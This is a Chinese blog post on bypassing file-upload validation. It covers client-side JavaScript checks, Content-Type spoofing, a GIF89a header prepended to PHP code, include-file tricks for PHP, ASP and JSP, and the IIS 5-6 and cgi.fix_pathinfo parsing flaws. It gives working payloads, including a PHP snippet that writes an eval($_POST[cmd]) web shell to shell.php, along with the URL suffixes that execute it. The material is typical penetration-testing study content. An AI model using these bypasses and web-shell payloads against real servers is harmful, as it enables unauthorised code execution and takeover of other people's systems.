美文网首页
文件上传之绕过

文件上传之绕过

作者: q1ya | 来源:发表于2020-01-13 14:38 被阅读0次
    文件上传校验方式

    客户端JavaScript校验
    服务端校验
    ①请求头中content-type字段校验
    ②文件内容头校验
    ③后缀黑名单
    ④后缀白名单
    ⑤自定义正则校验
    WAF设备校验

    前端绕过

    校验只存在于网页的js,抓包修改即可绕过;如果还未发送数据就提示文件格式错误,就是前端判断

    文件类型绕过

    抓包修改,如将content-type字段改为image/gif

    文件头绕过

    在文件开头加入gif文件头
    GIF89a<?php phpinfo(); ?>

    配合文件包含绕过

    在能够上传php文件,但是上传不了一句话木马的时候,说明服务端对文件内容做检测,可先上传一个文件包含函数的php文件,再包含木马txt文件
    PHP
    <?php Include("上传的txt文件路径");?>
    ASP
    <! --#include file="上传的txt文件路径" -->
    JSP
    <jsp:inclde page="上传的txt文件路径"/>
    or
    <%@include file="上传的txt文件路径"%>

    服务器解析漏洞绕过 iis5-6

    使用iis5.x-6.x版本的服务器,大多为windows server2003,网站比较古老,开发语句一般为asp
    该解析漏洞也只能解析asp文件,而不能解析aspx和php文件
    1、文件解析
    上传文件名为xx.asp;.jpg会被解析为xx.asp
    2、目录解析
    iis5-6默认会把.asp,.asa目录下的文件都解析成asp文件
    www.xxx.com/xx.asp/xx.jpg
    www.xxx.com/xx.asa/xx.jpg
    3、适用解析漏洞的文件类型
    /test.asa
    /test.cer
    /test.cdx

    服务器解析漏洞绕过iis7.5 nginx

    适用环境:php开启了cgi.fix_pathinfo,而不是nginx或者iis7.5本身的漏洞,只能用于php文件
    利用方式:
    上传名字为test.jpg的文件,内容如下(任意其他后缀也行)
    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    然后访问以下任意url
    test.jpg/.php
    test.jpg%00.php
    test.jpg/%20\0.php
    最终在test.jpg同级目录下生成一个shell.php

    相关文章

      网友评论

          本文标题:文件上传之绕过

          本文链接:https://www.haomeiwen.com/subject/bxogactx.html